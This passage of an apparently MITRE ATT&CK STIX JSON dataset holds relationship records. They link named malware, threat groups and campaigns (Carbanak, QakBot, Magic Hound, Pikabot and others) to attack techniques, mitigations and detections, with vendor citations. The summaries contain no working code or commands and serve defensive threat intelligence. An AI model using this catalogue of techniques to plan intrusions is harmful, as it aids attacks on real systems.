Introduction)","relationship_type":"uses","source_ref":"tool--9a2640c2-9f43-46fe-b13f-bde881e55555","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5481052b-e356-4cb4-873d-1822eef5930a","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Who Hid My Desktop","description":"Safran, Or. Asinovsky, Pavel. (2017, November). Who Hid My Desktop: Deep Dive Into HVNC. Retrieved November 28, 2023.","url":"https://deepsec.net/docs/Slides/2017/Who_Hid_My_Desktop_Or_Safran_Pavel_Asinovsky.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-28T21:58:32.574Z","description":"Monitor newly executed processes that may use hidden windows to conceal malicious activity from the plain sight of users. For example, monitor suspicious windows explorer execution – such as an additional explorer.exe holding a handle to an unknown desktop – that may be used for hidden malicious activity via hVNC.(Citation: Who Hid My Desktop) ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5483bd88-4073-4fc9-93c8-eb45da7f4d97","created":"2023-03-22T05:19:43.224Z","revoked":false,"external_references":[{"source_name":"Cyberint Qakbot May 2021","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.","url":"https://blog.cyberint.com/qakbot-banking-trojan"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:19:43.224Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use obfuscated and encoded scripts.(Citation: Cyberint Qakbot May 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54847cda-c38f-4a5b-8328-d0e6812b837b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-20T16:49:13.594Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) has a command to create a reverse shell.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5488dd31-2a28-4250-89ff-963214f46b92","created":"2021-03-15T15:05:13.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Turla Penquin December 2014","description":"Baumgartner, K. and Raiu, C. (2014, December 8). The ‘Penquin’ Turla. Retrieved March 11, 2021.","url":"https://securelist.com/the-penquin-turla-2/67962/"},{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.137Z","description":"[Penquin](https://attack.mitre.org/software/S0587) will connect to C2 only after sniffing a \"magic packet\" value in TCP or UDP packets matching specific conditions.(Citation: Leonardo Turla Penquin May 2020)(Citation: Kaspersky Turla Penquin December 2014)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--548e7315-5055-4434-96c1-1429779b0e2b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-17T02:10:14.746Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect the victim's IP address.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--549c2737-1097-4a16-8d4b-01ad0e3e689f","type":"relationship","created":"2020-05-27T13:22:06.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:22:06.702Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the username on a compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--549f2414-e810-4fc9-a944-571348acb86c","created":"2022-09-30T21:21:31.912Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T21:21:31.912Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--549fdc30-5269-48ee-9dc8-60db8deb836a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-18T00:48:35.848Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54a384e5-17c8-422d-b199-18e7945cb7d6","type":"relationship","created":"2019-10-07T19:05:49.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}],"modified":"2019-10-07T19:05:49.069Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has executed the tasklist command.(Citation: Unit42 BabyShark Feb 2019)\t","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54aae76b-14fe-47e9-86c8-bd39317429c3","created":"2023-09-18T20:45:37.266Z","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T20:45:37.266Z","description":"\n[TA2541](https://attack.mitre.org/groups/G1018) has used commodity remote access tools.(Citation: Cisco Operation Layover September 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54add4d1-ab65-451e-b3ab-2c045261b082","type":"relationship","created":"2020-08-10T13:59:38.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:44:28.009Z","description":"Consider modifying host firewall rules to prevent egress traffic from verclsid.exe.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54af36a6-0a08-4853-9002-a1ae51b22ca5","created":"2022-01-24T16:52:40.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"},{"source_name":"Cybereason PowerLess February 2022","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022.","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage"},{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Microsoft Log4j Vulnerability Exploitation December 2021","description":"Microsoft Threat Intelligence. (2021, December 11). Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability. Retrieved December 7, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-07T20:44:43.014Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has exploited the Log4j utility (CVE-2021-44228), on-premises MS Exchange servers via \"ProxyShell\" (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), and Fortios SSL VPNs (CVE-2018-13379).(Citation: Check Point APT35 CharmPower January 2022)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: Cybereason PowerLess February 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)(Citation: Microsoft Log4j Vulnerability Exploitation December 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54b14853-fe7e-484e-ac14-849da168706c","created":"2023-04-04T22:19:42.383Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:19:42.383Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can create a named pipe to listen for and send data to a named pipe-based C2 server.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54b2d2db-b1d8-49aa-82f3-08d8a53a4899","type":"relationship","created":"2020-12-23T18:56:54.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-23T18:56:54.608Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used cmd.exe likely as a password changing mechanism.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54b38c51-b6b3-4d8a-9e6f-f257a3543939","created":"2023-07-25T21:04:14.592Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-25T21:04:14.592Z","description":"(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54b3abf5-bc7c-4e8a-b51d-058cc313a3c9","type":"relationship","created":"2020-07-17T15:48:51.566Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.103Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can set a scheduled task on the target system to execute commands remotely using [at](https://attack.mitre.org/software/S0110).(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54b73912-002f-43ca-b8a2-7439aff45aab","type":"relationship","created":"2021-01-13T21:54:29.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Pawn Storm 2019","url":"https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf","description":"Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."}],"modified":"2021-01-13T21:54:29.677Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has performed large-scale scans in an attempt to find vulnerable servers.(Citation: TrendMicro Pawn Storm 2019)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54b880ab-5c20-4689-9fbc-a6beed8874a1","created":"2024-10-08T20:05:07.077Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T20:05:07.077Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) used the `su-bruteforce` tool to brute force specific users using the `su` command.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54c3c155-6347-4dc5-89df-aae2c15d6c7a","type":"relationship","created":"2022-03-16T19:50:41.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:50:41.626Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has the ability to use DLL search order hijacking for installation on targeted systems.(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54c703f9-67ef-4622-afed-0ebbd2563e9e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.934Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) decrypts code, strings, and commands to use once it's on the victim's machine.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54c7f2fa-b6bd-44aa-8c56-34ecd528f918","created":"2024-07-19T18:29:42.749Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:29:42.749Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) used Curl.exe to download the [Pikabot](https://attack.mitre.org/software/S1145) payload from an external server, saving the file to the victim machine's temporary directory.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54d2ea67-40fd-4fbc-b76a-01879aa5bff5","type":"relationship","created":"2019-06-24T11:33:53.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T15:43:01.208Z","description":"Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2020-03-20T16:37:05.770Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload.(Citation: ESET Sednit Part 1)(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--54d5380e-07a4-49b0-8ffd-c34428c90bbe","created":"2019-02-21T21:17:37.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"},{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.781Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has created scheduled tasks for persistence.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54d9e07f-eff6-41e9-8821-3bb7ac657c8c","type":"relationship","created":"2019-06-28T16:02:08.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, 